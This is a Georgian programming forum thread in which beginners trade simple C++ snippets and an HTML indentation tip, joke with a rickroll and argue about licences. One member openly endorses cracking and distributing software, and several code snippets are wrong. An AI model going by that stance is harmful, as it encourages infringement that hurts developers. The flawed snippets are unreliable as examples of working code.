Posted by: Farel0x 9 Apr 2013, 22:08
mecniera
QUOTE
და კიდევ თუ შეიძლება უკვე დაკომპლირებული exe ფაილი გავუგზავნო სხვას და იქაც ისევ ისე იმუშავოს როოგორც ჩემთან მუშაობს

კომპილაციისთვის როცა VS 2010 ის კომპილატორს გამოიყენებ,სხვაგან პროგრამის გაშვების შემთხვევაში მოგთხოვს .dll - ს,რაშიც არის სპეციალური ფუნქციები(გამოყენებული პროგრამაში). მაგალითად fopen ფუნქცია რომელიღაც .dll შია აღარ მახსოვს და ეს dll თუარ აქვს არ გაუშვებს.

შეგიძლია ასეთი რამ გააკეთო, VS - ს აქვს Project property ებიდან გადასართავი,რისი საშუალებითაც dll იდან აღარ გამოიღახებს ფუნქციებს და პირდაპირ WinAPI ფუნქციებს ჩაანაცვლებს. ამის ალბათ ყველა ვინდოზავრზე გაუშვებ შენს პროგრამას.

Posted by: rezomegrelidze 11 Apr 2013, 17:36
პროგი:


CODE



#include <iostream>

using namespace std;

int main()
{
   char a = 65;

   while(a <= 65+25)
   {
       cout << a << endl;
       a++;
   }


}


Posted by: jazzsoul 12 Apr 2013, 16:35
QUOTE (Marthin_Luther_King @ 5 Apr 2013, 19:32 )
jazzsoul
CODE

#include <iostream.h>
#include <conio.h>
int main()
{
int A[10][10],m,n,x,y,sum=0;
cout << "Enter number of rows and columns in Matrix A : \n";
cin>>n>>m;
cout << "Enter elements of Matrix A : \n";
for(x=1;x<n+1;++x)
for(y=1;y<m+1;++y)
cin>>A[x][y];
for(x=1;x<n+1;++x)
{
A[x][m+1]=0;
for(y=1;y<m+1;++y)
A[x][m+1]=A[x][m+1]+A[x][y];
}
for(y=1;y<m+1;++y)
{
A[n+1][y]=0;
for(x=1;x<n+1;++x)
A[n+1][y]+=A[x][y];
}
cout << "\nMatrix A, Row Sum (Last Column)" << " and Column Sum (Last Row) : \n";
for(x=1;x<n+1;++x)
{
for(y=1;y<m+2;++y)
cout << A[x][y] << "     ";
cout << "\n";
}
x=n+1;
for(y=1;y<m+1;++y)
cout << A[x][y] << "     ";
cout << "\n";
if(m==n)
{
for(x=1;x<m+1;x++)
for(y=1;y<n+1;y++)
if(x==y)
sum+=A[x][y];
else
if(y==m-(x+1))
sum+=A[x][y];
}
cout << "Sum of diagonal elements is : " << sum << endl;
getch();
return 0;
}

მადლობა.......
....................................

Posted by: Kate789 13 Apr 2013, 00:39
აუ მიშველეთ რა sad.gif

ხომ არ იცით წინადადების აბზაცის შეწევის ჰტმლ კოდი???
<p> არა, სხვა არის რაღაც.

Posted by: n01k37 13 Apr 2013, 01:32
Kate789
CODE
ჯგუფი: Moderators

https://www.youtube.com/watch?v=dQw4w9WgXcQ

Posted by: Kate789 13 Apr 2013, 03:37
n01k37
ეგ რა შუაშია??? spy.gif

Posted by: Lapis 13 Apr 2013, 03:41
Kate789
არც შენი კითხვა იყო თემასთან შუაში
http://bit.ly/14iCoM0

Posted by: Kate789 13 Apr 2013, 03:59
ო ღმერთო user posted image

Posted by: n01k37 13 Apr 2013, 04:08
Kate789
http://en.wikipedia.org/wiki/Rickrolling

Posted by: McCartney 13 Apr 2013, 15:34
Kate789
შენ განყოფილებაში რომ ვინმემ იგივე გააკეთოს ვორნს მოუმატებ და მორალის კითხვას დაუწყებ drug.gif

Posted by: Dixtosa 13 Apr 2013, 18:25
McCartney
იქნებ ც++ და ჰტმლ-ს ვერ ასხვავებს? ან ერთიდაიგივე ჰგონია.

Posted by: McCartney 13 Apr 2013, 21:06
Dixtosa

: ))))))


შეიძლება ....

Posted by: n01k37 13 Apr 2013, 21:53
Dixtosa
ისე ჩვენში რომ დარჩეს, მაგრა გვანან სინტაქსები და პირველად C++ს ვებისთვის იყენებდნენ user.gif

Posted by: rezomegrelidze 13 Apr 2013, 21:58
რა გინდათ ამ გოგოსგან?

არ გჯერათ, რომ გოგოებს პროგრამირება შეუძლიათ?

n01k37

ვერ მივხვდი.

Posted by: n01k37 13 Apr 2013, 22:28
rezomegrelidze
ერთი ძალიან დიდი ფაქტი გამოგრჩა, ზემოთ აიხედე user.gif

Posted by: Kate789 14 Apr 2013, 03:49
McCartney
QUOTE
შენ განყოფილებაში რომ ვინმემ იგივე გააკეთოს ვორნს მოუმატებ და მორალის კითხვას დაუწყებ 

როგორ გეტყობა, რომ საერთოდ აზრზე არ ხარ, რა ხდება ჩემს განყოფილებაში და როგორი მოდერატორი ვარ.
თუ გაინტერესებს, გეტყვი, რომ ჩემს განყოფილებაში ყოველდღიურად ძალიან ბევრი ნუბი შემოდის და მაქსიმალურად ვცდილობ მათ დახმარებას smile.gif

rezomegrelidze
მოიცა კაცო, ოლიმპოზე დგანან, თავი ღმერთები ჰგონიათ biggrin.gif



ბრავო, მაგრები ხართ drug.gif

Posted by: Marthin_Luther_King 14 Apr 2013, 11:00
აქამდე კი დაუწერდით მაგ კოდს biggrin.gif

Kate789
CODE

<p class="tab">This is a tab</p>


<style>
.tab { margin-left: 40px; }
</style>

Posted by: Svani91 14 Apr 2013, 12:56
Kate789

CODE
<style type="text/css">
p {
  text-indent: 30px;
  line-height: 20px;
}
</style>

<p>
იმისთვის რომ ჩასვათ ციტატა ამ გვერდიდან, მონიშნეთ ტექსტი და აქ დაუწკაპუნეთ
იმისთვის რომ ჩასვათ ციტატა ამ გვერდიდან, მონიშნეთ ტექსტი და აქ დაუწკაპუნეთ
იმისთვის რომ ჩასვათ ციტატა ამ გვერდიდან, მონიშნეთ ტექსტი და აქ დაუწკაპუნეთ
</p>

Posted by: Kate789 14 Apr 2013, 13:06
Marthin_Luther_King
Svani91
მადლობელი.

Posted by: lester 15 Apr 2013, 13:19
loooooooooooooolz გაიგდეთ ხომ ? biggrin.gif

Posted by: jazzsoul 15 Apr 2013, 16:19
ფაილში მიწერია ციფრები
3
3 4 5
1 2 4
5 5 6

თუ ზემოთ წერია
4
მაშინ ოთხი ხაზი იქნება ზემოთან და ქვემოთაც .

ეხლა პროგრამამ უნდა დამიწეროს ამ ხაზების ჯამი ამ შემთხვევაში
9(3+1+5); 11(4+2+5);15(5+4+6)
როგორ გავაკეთო? რაღაცეები დავწერე და არ მუშაობს და თუ რამეს დაემსგვსა ეს პროგრამა მაშინ დავდებ აუცილებლად და შეცდომები გამისწორეთ.

* * *
#include <iostream>
#include <fstream>
using namespace std;
main () {
ofstream myfile;
myfile.open("file.txt");
int a,s,d,n,i;
int m[n];
for(i=0;i<n*n;i++)
{
cout<<m[2*n+1];
}
for(i=0;i<n*n;i++)
{
cout<<m[i];
}
system ("pause") ;
}

ასეთი მსგავსი რაღაც გავაკეთე მაგრამ რაღაც საზიზღრობა რიცხვებს წერს და რა უნდა?

Posted by: rezomegrelidze 16 Apr 2013, 15:49
პროგია, რომელსაც გადაყავს ორობითი რიცხვები ათობითში.

ეს 4 ბიტიანია, მარა თქვენი სურვილისამებრ შეგიძლია მოუმატოთ ბიტები.



CODE


#include <iostream>
#include <cmath>

using namespace std;

int main()
{
   int a[4];


   cout << "Enter the first binary digit, that is [0,0,0,this]   ";
   cin >> a[0];
   cout << "Enter the second binary digit, that is [0,0,this,0]   ";
   cin >> a[1];
   cout << "Enter the third binary digit, that is [0,this,0,0]   "  ;
   cin >> a[2];
   cout << "Enter the fourth binary digit, that is [this,0,0,0]   ";
   cin >> a[3];

   cout << "now i'll convert it to decimal: ";



   a[0] = pow(2,0)*a[0];
   a[1] = pow(2,1)*a[1];
   a[2] = pow(2,2)*a[2];
   a[3] = pow(2,3)*a[3];

   cout << a[0]+a[1]+a[2]+a[3];

    // Author: rezomegrelidze
    // Fuck copyright.

}


Posted by: n01k37 16 Apr 2013, 18:58
rezomegrelidze
შეკითხვებთან რა შუაშია ? facepalm.gif
პ.ს ბევრად უკეთესის დაწერაც შეიძლება და ასევე პირიქით უნდა დაიწყო ახარისხებები. (შენს შემთხვევაში a[3]-დან.

Posted by: rezomegrelidze 16 Apr 2013, 19:19
n01k37

რატომ უნდა დაიწყოს a[3]-დან?


მაგალითად ავიღოთ ორობითში დაწერილი რიცხვი 1111 აქ ყველაზე მარცხენა 1 უდრის 2^3. სწორი კოდია, უბრალოდ ზოგს მარცხნიდან მარჯვნივ მოსწონს და ზოგს მარჯვნიდან მარცხნივ.

QUOTE
ბევრად უკეთესის დაწერაც შეიძლება


So?





////////


ვერ გავიგე რას მეუბნები.


1 0 0 0

აქ ორის ხარისხები იზრდება მარჯვნიდან მარცხნივ. პროგშიც ეგრეა. რაშია შეცდომა?

მაგალითად, რომ ჩაწერო

1 0 1 0

არ გამოგიტანს 10-ს?

Dixtosa

ხო ისე მართალი ხარ. short უნდა გამომეყენებინა.

მარა ამჯერად მე ის მაინტერესებდა, რომ გამოეტანა სწორი პასუხი. გინდ double ყოფილიყო. biggrin.gif

Posted by: n01k37 16 Apr 2013, 19:43
rezomegrelidze
მოწონებაზე არ არის, little-endian-ებზე არის ძირითადად ყველაფერი თუ ორობითს ვეხებით smile.gif
უკეთესს რაც შეეხება, მსგავსი იგრუშკებისთვის დრო არ მაქვს, თორემ დიდი სიამოვნებით smile.gif დავალებად გქონდეს და გააუმჯობესე smile.gif)

Posted by: Dixtosa 16 Apr 2013, 21:05
QUOTE
So?

ჯერ ერთი ოთხ ბიტზე ზღუდავ, მეორეც ერთი ციფრისთვის გაქვს ინტი, მესამე იყენებ პოწ-ს როცა ფუძე არის ორი (გაცილებით სწრაფია ექსთრაქტორი) მეოთხეც
QUOTE
// Fuck copyright.


Posted by: n01k37 16 Apr 2013, 22:25
rezomegrelidze
ახალ რამეს როცა წერ, წინა პოსტი კი არ ჩაასწორო, ქვემოთ დაწერე უფრო გავიგებ როდის რა დაწერე ხოლმე (მარტო მე არა, ბევრი სხვაც).

Big Endian | Little Endian

0001 | 0100
0010 | 1000
0011 | 1100
0100 | 0001
0101 | 0101
0110 | 1001

და ა.შ.. ხვდები რაზე მაქვს საუბარი?

//პ.ს გადახედე -> http://en.wikipedia.org/wiki/Endianness

Posted by: rezomegrelidze 16 Apr 2013, 22:41
n01k37

Low-Level კაცი ხარ და გაგიგია ასეთი რაღაცეები. მე კიდე დამწყვები მოყვარული biggrin.gif


თუ გინდა გადმოიწერე ეს GUI პროგი:


32 ბიტი აქვს და გადაყავს Binary, Decimal-ში.

მარჯვენა ღილაკით უნდა მიაწვე ფაილს და მიაჭირო Download-ს.

https://skydrive.live.com/redir?resid=EE67912242B2F18A!249&authkey=!AAlYNAFaOzr2rLs

QUOTE
Windows User


ღვინო არ გაქ?

Posted by: n01k37 16 Apr 2013, 22:43
rezomegrelidze
კალკულატორიც მშვენივრად მყოფნის, მადლობა)) და ასევე Windows User არ ვარ.

დამწყები რომ ხარ გასაგებია, მაგრამ ვცდილობ რომ სწორ გზაზე დაგაყენო, თორემ არასწორით თუ წახვედი ძალიან დაიკარგები მერე რასაც არ გირჩევ biggrin.gif

Posted by: Dixtosa 16 Apr 2013, 23:48
QUOTE
//პ.ს გადახედე -> http://en.wikipedia.org/wiki/Endianness

ამას რო წაიკითხავ


მერე ეს წაიკითხე http://en.wikipedia.org/wiki/User-friendly

:დ

(გუი აპპის პონტში :დ)

Posted by: rezomegrelidze 18 Apr 2013, 20:53
რომელიღაც Loop-ის გამოყენებით, როგორ უნდა მივიღო მოცემული მასივის ციფრთა ჯამი.

მაგალითად მაქვს ასეთი მასივი: int a[4] = {0,0,0,0};

როგორ უნდა მივიღო a[0]+a[1]+a[2]+a[3]

რომელიმე Loop-ის გამოყენებით. ალბათ for loop დაჭირდება.

Farel0x

უღრმესი Thank you.

Posted by: Farel0x 18 Apr 2013, 20:57
rezomegrelidze
ნებისმიერი loop ით შეიძლება.
for loop ის შემთხვევაში:
CODE
for(int i = 0,int sum = 0; i < sizeof(a)/sizeof(int); i++)
     sum += a[i];



ან შეგიძლია ასეც,უბლოკო ციკლი:
CODE
for(int i = 0,int sum = 0; i < sizeof(a)/sizeof(int); i++,sum+=a[i]);


QUOTE
უღრმესი Thank you.

არაფერს.
--------
P.S Endiannes იგივე Byte ordering. სხვადასხვა პროცესორის არქიტექტურაზე სხვაა.
მაგალითად x86 ზე Little endian არის.

Posted by: n01k37 18 Apr 2013, 21:38
Farel0x
https://www.youtube.com/watch?v=pTpSdVdSFOc

Posted by: rezomegrelidze 18 Apr 2013, 22:17
n01k37


Posted by: Dixtosa 18 Apr 2013, 22:45
@ალლ, https://www.youtube.com/watch?v=ywg0Mi_x4AE&list=FLJFfPTwyZ_3f9vjbgpkbZHw&index=1



პ.ს. უფრო დეზლურად:
sizeof(a)/sizeof(a[0])

Posted by: rezomegrelidze 18 Apr 2013, 23:21
Dixtosa

ისევ კონკურეტნებად მიიჩნევ ყველას?

Posted by: Farel0x 18 Apr 2013, 23:25
QUOTE
პ.ს. უფრო დეზლურად:
sizeof(a)/sizeof(a[0])

QUOTE
პ.ს. უფრო დეზლურად:

CODE
sizeof(a)/sizeof(*(&(*(&(*(&*(a+0)))))));

Posted by: Dixtosa 18 Apr 2013, 23:33
QUOTE
sizeof(a)/sizeof(a[0])

ეს კარგი იმიტომ კი არაა რომ უფრო რთულია იმიტომ რომ ფუნქციად შეგიძლია გააფორმო. (gaxdeba zogadi)


#define SIZE(a) sizeof(a)/sizeof(a[0])


QUOTE
ისევ კონკურეტნებად მიიჩნევ ყველას?

lulwut?

Posted by: n01k37 18 Apr 2013, 23:36
rezomegrelidze
რა შუაშია ან რა შუაში ხარ ? biggrin.gif
ვისაც მივწერე იცის მიზეზი რატომაც მივწერე და მე რომ მომწერე ვითომ რა ეხლა ? :|

Posted by: Farel0x 18 Apr 2013, 23:40
Dixtosa
QUOTE
ეს კარგი იმიტომ კი არაა რომ უფრო რთულია იმიტომ რომ ფუნქციად შეგიძლია გააფორმო. (gaxdeba zogadi)

ხო,სწორი ხარ.

ის ფრაგმენტი იმიტომ არ დამიწერია,რომ უფრო "რთული" გამოჩენილიყო,მაინტერესებს სხვა რა ხერხს მიმართავს.
იდეები smile.gif

Posted by: rezomegrelidze 21 Apr 2013, 09:56
Farel0x

მაშინ, რომ დამიწერე ის მასივების ელემენტთა ჯამის კოდი. ეგრევე ვერ გავიგე. ავიღე ფურცელი დავიწყე ზოგიერთი ხაზის დაკომენტარება და შედეგის ნახვა. ხოდა ძლივს მივხვდი. ძალიან ზოგიერთი კოდის გაგება, თუკი არ ავიღე ფურცელი და არ ჩავსვი ნაღდი ციფრები.

Posted by: cybernation21 22 Apr 2013, 10:24
rezomegrelidze
კაი რამეა დებაგერი love.gif

Posted by: rezomegrelidze 22 Apr 2013, 15:22
cybernation21

კი. ბევრად მირჩევნია Visual Studio 2010/2012 გამოვიყენო, ვიდრე Notepad++ ჩავწერო და მერე cmd-თი მივცე Compile.

კაი დებაგერი აქ ვისუალ სტუდიოს.

Posted by: Dixtosa 22 Apr 2013, 16:45
ნუ ასე თუ გი-love.gif-ართ აჰათ http://www.codeproject.com/Articles/359801/10plus-powerful-debugging-tricks-with-Visual-Studi

Posted by: n01k37 22 Apr 2013, 19:05
GDB & IDA love.gif love.gif love.gif

Posted by: rezomegrelidze 22 Apr 2013, 19:49
n01k37

ვისუალ ბეისიკში ის მომწონს, რომ HEX როდესაც გამოაქ 0x-ების გარეშეა.

მაგალითად თუკი GCC გამოიტანს 0x03fff
ვისუალ სტუდიოს კომპილერი გამოიტანს ასე: 03FFF

ახლა ვაყენებ Delphi-ს. მაინტერესებს რა ხილია.

Posted by: n01k37 22 Apr 2013, 20:46
rezomegrelidze
იცი, რომ მაგის შეცვლა შეგიძლია ? facepalm.gif gdb-ს ერთი ფუნქციაც არ იცი დარწმუნებული ვარ რაღაცნაირად givi.gif ავტომატურ ანალიზს ხარ მიჩვეული user.gif
QUOTE
ვისუალ ბეისიკში

Visual Studio უნდა დაგეწერა აშკარად.

P.S GCC არაფერ შუაში არ არის.

ასევე, კარგად დაიმახსოვრე, თუ პროგრამას წერ Microsoft-ის C++-ით (ვგულისხმობ კომპილერს და არა IDE-ს), მაშინ ყველანაირ შემთხვევაში უნდა იყიდო ლიცენზია! წინააღმდეგ შემთხვევაში, რა თქმა უნდა თუ ისეთ პროგრამას დაწერ, რომ გაყიდო და ა.შ ძალიან დიდ ჯარიმებს აიკიდებ wink.gif

მეზიზღება პირატობები user.gif

Posted by: rezomegrelidze 22 Apr 2013, 20:56
n01k37

QUOTE
მეზიზღება პირატობები


არაუშავს.

QUOTE
რა თქმა უნდა თუ ისეთ პროგრამას დაწერ, რომ გაყიდო და ა.შ ძალიან დიდ ჯარიმებს აიკიდებ


საიდან გაიგებენ მე ლიცენზიერბული მქონდა თუ არა?

ვინ ამკიდებს ჯარიმას?


კარგი რა რეებს ამბობ. ჯავახიშვილის ბავშვებს დაურიგეს Visual Studio 2010 Ultimate biggrin.gif
ხოდა მაგით ასწავლიდნენ CPP-ს.


გეზიზღებოდეს პირატობები. დარჩები წესიერი პროგების გარეშე. biggrin.gif

Posted by: n01k37 22 Apr 2013, 21:03
rezomegrelidze
QUOTE
საიდან გაიგებენ მე ლიცენზიერბული მქონდა თუ არა?

არის ძალიან ბევრი გზა wink.gif

QUOTE
კარგი რა რეებს ამბობ. ჯავახიშვილის ბავშვებს დაურიგეს Visual Studio 2010 Ultimate biggrin.gif
ხოდა მაგით ასწავლიდნენ CPP-ს.


საქართველო. ყველას (უმეტესობას) ###ზე კიდია ლიცენზიები. უბრალოდ ძალიან ღრმად შეიტოპა პირატული ვერსიები სანამ კანონები შემოვიდოდა. მალე ყველას მოეთხოვება.

QUOTE
გეზიზღებოდეს პირატობები. დარჩები წესიერი პროგების გარეშე. biggrin.gif


ასეთი ყოვლად უაზრო დასკვნა საიდან მოიტანე?)))))) მეტი ვერაფერი მოვიფიქრე user.gif

მითუმეტეს ახალბედა ხარ პროგრამირებაში, არ გინდა პროფესორობა smile.gif კითხვა რომ დაგესვა, გიპასუხებდი რა რატომ, მაგრამ არა.. მე ხომ უკვე ბევრი ვიცი user.gif

Posted by: rezomegrelidze 22 Apr 2013, 21:12
n01k37

QUOTE
არის ძალიან ბევრი გზა


მოიცადე, მოიცადე.

მე როდესაც დავაკომპილირებ პროგრამას. ის გახდება ნულებისა და ერთების გროვა. საიდან გაიგებენ ახლა ამ ნულებისა და ერთების უკან რა იდგა?

ვერც იმას მიხვდებიან, C#-ში დავწერე ,VisualBasic-ში თუ, C++-ში.
ნუ შეიძლება რაღაც Performance Analyzer-ით მიხვდნენ (იმიტომ, რომ C++ ყველაზე სწრაფად იმუშავებს), მარა მაინც, არ იქნება ძაან მარტივი.

QUOTE
ასეთი ყოვლად უაზრო დასკვნა საიდან მოიტანე


აბა, ფოტოშოპს, სონი ვეგასს, კომპ თამაშებს, ან სხვა მაგარ პროგრამას რო ვერ გამოიყენებ, ეგ რა ცხოვრებაა.

მარტო GNU-ს მომადლებულზე, რომ ვიყო დამოკიდებული, ვაი რა ვუთხარი ჩემ ცხოვრებას.

QUOTE
მალე ყველას მოეთხოვება.


იმათ მოეთხოვებათ, ვინც ებრძვის ინფორმაციის გაცვლა გამოცვლას.

პირატი ვარ და ვამაყობ ამით. PirateBay-ზე ორი წარმატებული ტორენტი მიდევს. 20+ სიდერები აქვთ.

Posted by: n01k37 22 Apr 2013, 21:17
rezomegrelidze
კიდევ ერთხელ გეუბნები, ნუ მეკამათები იმ თემაზე რომელიც არ გესმის.

Performance Analyzer საიდან მოიტანე? არ გიფიქრია, რომ მაგ ნოლების და ერთების გროვაში თავიანთ ასე ვთქვათ "ხელმოწერას" ამატებენ? ან ასემბლერში გადაყვანილი კოდის წერის სტილი სულ სხვადასხვანაირი იქნება?

რაც შეეხება ფოტოშოფის ნაირი პროგრამები და საერთოდ თამაშები, არ მიტაცებს არანაირად და არ დაგავიწყდეს, რომ არსებობს Commercial ვერსიებიც wink.gif

და კიდევ ერთხელ, მარტო GNU არ არის open-source.

პირატობით შორს ვერ წახვალ, მადლობა უნდა უთხრა ბევრ კომპანიას საქართველოს ბანი ჯერ კიდევ რომ არ დაადეს.

Posted by: Dixtosa 22 Apr 2013, 22:40
QUOTE
ვისუალ ბეისიკში

ყლოლ კომასტერის გავლენა ყლოლ :დ


QUOTE
ვისუალ ბეისიკში ის მომწონს, რომ HEX როდესაც გამოაქ 0x-ების გარეშეა.

biggrin.gif. ყველაზე მეტად ეს მოგწონს?biggrin.gif biggrin.gif

Posted by: samuraisxmali 22 Apr 2013, 22:45
rezomegrelidze
.NET-ზე დაწერილი კოდის ზუსტი გამოტანა შეიძლება აბსოლუტურად ზუსტი კოდის (თუ არ არის შეცვლილი ობფუსკატორებით და მსგავსი პროგრამებით ან თვითონ კოდში არ გაქვს მსგავსი დაცვა), ასე რომ მაგას იოლად გაიგებენ.

Posted by: rezomegrelidze 22 Apr 2013, 23:34
Dixtosa

სტუდიო უნდა დამეწერა.

n01k37

პირატობით იქამდე წავალ სადამდეც საჭიროა. შენ თუ დიდი კონტროლის მომხრე ხარ, მე არ ვარ ეგეთი. ადამიანს უნდა ქონდეს იმისი თავისუფლება, რომ თავისუფლად გატეხოს და გაავრცელოს რა პროგებიც უნდა. ინტერნეტი არის თავისუფალი ქვეყანა.

QUOTE
და კიდევ ერთხელ, მარტო GNU არ არის open-source.


რას ამბობ.




Posted by: n01k37 22 Apr 2013, 23:41
rezomegrelidze
ჰო, გექნება შენც ერთხელ ბიზნესი და რომ მოგპარავენ პირატები მერე წერე მსგავსი პოსტები.

Posted by: rezomegrelidze 22 Apr 2013, 23:55
n01k37

მოიპარონ. არ ვარ წინააღმდეგი. არსებობს შენნაირი ხალხი რომლებიც არ მოიპარავენ, არიან მდიდრები რომლებიც იყიდიან. არიან ზოგიერთები რომლებმაც არც იციან პირატულის შესახებ, ან გონიათ, რომ დანაშაულს ჩადიან. მე ამ პროგების გამოყენებით არავის არ ვუშლი ხელს. პირიქით, ბილ გეითსმა თქვა, რომ პირატობის გარეშე ვინდოუსი ვერ იქნებოდა ის რაც არის დღეს.


შეწყდა კამათი.

Posted by: n01k37 23 Apr 2013, 00:22
rezomegrelidze
შეწყდა? ჯერ არ დამიწყია.

კიდევ ერთხელ გიმეორებ, პირატული პროგრამები არის დანაშაული, იგივეა რაც ვინმეს მანქანის გასაღები მოპარო და იმითი იარო. ამისათვის არსებობს უფასო ვერსიები.
არ უშლი? შენ გგონია რომ არ უშლი.. ხალხმა იმდენი იწვალა და შენ კიდევ ისე იყენებ პროგრამას, რომ ფულსაც კი არ აძლევ და თუ კიდევ ბევრჯერ განმეორდა მსგავსი რამ, უხელფასოდ დარჩებიან. რა თქმა უნდა უშლი.
QUOTE
ბილ გეითსმა თქვა, რომ პირატობის გარეშე ვინდოუსი ვერ იქნებოდა ის რაც არის დღეს.

ჩემმა მეზობელმა კობამ თქვა, რომ ვინდოუსის დედა #####ანო.
ვინ გგონია შენ ეგ ბილ გეითსი ? smile.gif უბრალოდ ყველას დაასწრო გრაფიკული სისტემის დაწერა და იმიტომ არის ასე პოპულარული ნაგავი. (პ.ს MS-DOS იყიდა, ისიც მოტყუებით.)

ვინდოუსის მომხმარებელი ხარ, რატომ გიხსნი ამ ყველაფერს facepalm.gif

Posted by: rezomegrelidze 23 Apr 2013, 00:50
n01k37

QUOTE
ვინდოუსის მომხმარებელი ხარ


უბუნტუც კაია.

QUOTE
MS-DOS იყიდა


ვიცოდი ეს.


ბილ გეითსმა შექმნა პირველი Software კომპანია. კომპანია, რომელიც გამახვილებულია ხარისხიანი პროგრამების წერაზე.


P.S.

შენ, რომ გელაპარაკები, მინდება, რომ asm ვისწავლო. არ ვიცი რატომ. გუშინ 4 საათამდე არ მეძინა. რაღაც GameDevelopment-ის ვიდეობს ვუყურებდი. ალბათ დღესაც ეგრე მოხდება, ოღონდ ამჯერად asm ვიდეობი იქნება.

unixxx

წადი მესის გოლებს უყურე. ;D

Posted by: unixxx 23 Apr 2013, 00:53
QUOTE
ბილ გეითსმა



QUOTE
ხარისხიანი



QUOTE
Software



gigi.gif

Posted by: n01k37 23 Apr 2013, 01:06
rezomegrelidze
QUOTE (unixxx @ 23 Apr 2013, 00:53 )
QUOTE
ბილ გეითსმა



QUOTE
ხარისხიანი



QUOTE
Software



gigi.gif

:DDDDDDDDDDDDDDDDDD ცუდად არ გამიგო, მაგრამ მართლა ძალიან სასაცილო იყო, სარკაზმის გარეშე biggrin.gif biggrin.gif biggrin.gif

QUOTE
უბუნტუც კაია.

მეორე ვინდოუსი გაიჩითა givi.gif

ჩვენში დარჩეს და, ასემბლერი რაში გაინტერესებს ? biggrin.gif დაიკარგები ჯო))

Posted by: unixxx 23 Apr 2013, 01:09
რეზომეგრელიდზე

QUOTE
წადი მესის გოლებს უყურე. ;D



რა შუაშია მესი C++თან up.gif up.gif

Posted by: Farel0x 23 Apr 2013, 01:15
QUOTE
უბრალოდ ყველას დაასწრო გრაფიკული სისტემის დაწერა და იმიტომ არის ასე პოპულარული ნაგავი

ვყოფილიყავი იმ წლებში ხო დედას ვუტირებდი,მეორე ბილ გეითსი ვიქნებოდი,ბლიად mad.gif

Posted by: n01k37 23 Apr 2013, 01:18
Farel0x
5 წლით გადამწია ასეთი ცოდნით და მილიარდელი ვიქნებოდი biggrin.gif

Posted by: Farel0x 23 Apr 2013, 01:23
n01k37
biggrin.gif
----
ცუკერბერგმა........... რა ქნა, დამასწრო თორე მეც ვწერდი facebook - ს mad.gif
არაფერში მიმართლებს...

Posted by: rezomegrelidze 23 Apr 2013, 01:27
Farel0x

ბილი ამის გამოა მაგარი.



user posted image

n01k37

სად დავიკარგები?

QUOTE
ჩვენში დარჩეს და, ასემბლერი რაში გაინტერესებს


თავისი მუღამი აქ.

ამ ვიდეობით ვსწავლობ.



QUOTE
მეორე ვინდოუსი გაიჩითა


დებიანსაც არაუშავს.

Posted by: Farel0x 23 Apr 2013, 01:32
rezomegrelidze
QUOTE
ბილი ამის გამოა მაგარი.

ეგეთებს n01k37 - ც წერს smile.gif

QUOTE
სად დავიკარგები?

დაიკარგები smile.gif

QUOTE
თავისი მუღამი აქ.

ნერვოზი იცის ხოლმე,მარა აქვს თავისი მუღამი.
ტვინის ღუნვაა რა,ერთ ენას მიაწექი ისიც HLL - ს და low level ჰობად მოიტოვე, მშიერი არ დარჩე smile.gif
მთელი 1 წელი low level - ს შევალიე და HLL ზე გადავედი,მშიერი არ დავრჩე თქო,სამსახური ხო მინდა smile.gif
მარა ჭკუა მაინც ვერ ვისწავლე, ბიტებს ვეთამაშები C - ში მაინც mad.gif

----
არა რა,იმ დროს რო დავბადებულიყავი რა იქნებოდა ჰა?
rezomegrelidze
როგორი უკმაყოფილო ვარ,ღმერთი გამიწყრება sad.gif biggrin.gif

-------------
Assembly დაბოლილზე ასწორებს yes.gif

Posted by: rezomegrelidze 23 Apr 2013, 01:57
Farel0x

საერთოდ იმით გამოვირჩევი მე, რომ მევასება იმისი გაგება, რაც არ მესმის და რასთანაც არ ვარ ახლოს. მინდა, რომ დავუახლოვდე რაღაც რაღაცეებს.

ნერვოზი მჭირდა C++ სწავლა როცა დავიწყე.

მარტივი Hello World პროგრამა დაწერეს, ხოდა მეთქი რაარის ეს include <iostream>

რაარის ეს usingnamespace std

ნერვები მომეთხარა და თავი გავანებე. biggrin.gif

რავი Assembly-ს რა საწყისი ცოდნა უნდა. ბიტები ვიცი რა არის, ბაიტები ვიცი რა არის, ორობითში, რვაობითში და თექვსმეტობითში თვლა ვიცი.

QUOTE
აქ ვერ იშოვი სამსახურს


არაუშავს. მაქვს საკმარისი დრო იმისათვის, რომ HLL ენებსაც მივხედო და Low level-საც.


QUOTE
მშიერი არ დარჩე


მშიერი რა დამტოვებს. ბოლოს და ბოლოს ბუღალტრობას ვისწავლი, ნახევარ ეკრანზე Excel მექნება გახსნილი, და მეორე ნახევარზე ფორუმი. ანდა ქართული ცონების აქტივისტებთან ნაცმოს მაიკით გამოვალ. თავს ვაცემინებ. სასამართლოში ვუჩილებ. და მერე იმხელა მორალურ კომპენსაციას მივიღებ, რომ.. მმ...


n01k37

Assembly-თი ფულს შოულობ?

P.S.

Are you an atheist?

QUOTE
Yes


აქამდე გეთქვა biggrin.gif

QUOTE
მაგრამ ისეთი დედა #####ული ენა არის, რომ პირველი გაკვეთილის მერე გარბის ყველა


თავიდან ყველაფერი დედა#####ულია. მარა დროთა განმავლობაში, ცოდნა მოდის და მოდის. აბა 3 თვის წინ გეთქვა ჩემთვის, რომ კნოპკიან პროგრამებს დავწერდი.

Posted by: Farel0x 23 Apr 2013, 02:01
rezomegrelidze
QUOTE
Assembly-თი ფულს შოულობ?

სხვისკენ კი იყო კითხვა მარა მე გეტყვი. მაგით ვერ იშოვი ფულს smile.gif

QUOTE
რავი Assembly-ს რა საწყისი ცოდნა უნდა

კაკრას ზუსტად ის უნდა რაც შენ უკვე იცი და შეგიძლია ისწავლო კიდეც მაგრამ როგორც ასმ - შნიკმა გითხრა დაიკარგები და როგორც მე გითხარი ეგ რაც არუნდა მაგრად იცოდე აქ ვერ იშოვი სამსახურს,უცხოეთში კიდე რაღაც შანსი არის. ანტივირუსულ კომპანიაში maybe wink.gif
ვობშემ HLL ენის სწავლა ჯობს რა იცი რა ხდება smile.gif

მე ვიზე რას ვამბობ ლამისაა minix ის კოდი გავარჩიო mad.gif

კაროჩე წავედი..

Posted by: n01k37 23 Apr 2013, 02:04
rezomegrelidze
კი, ბავშვებს ვამზადებ. გაკვეთილში ვიღებ 200 ლარს წინასწარ, მაგრამ ისეთი დედა #####ული ენა არის, რომ პირველი გაკვეთილის მერე გარბის ყველა biggrin.gif
Yes.

Posted by: Farel0x 23 Apr 2013, 02:08
QUOTE
მაგრამ ისეთი დედა #####ული ენა არის, რომ პირველი გაკვეთილის მერე გარბის ყველა

biggrin.gif biggrin.gif biggrin.gif biggrin.gif biggrin.gif

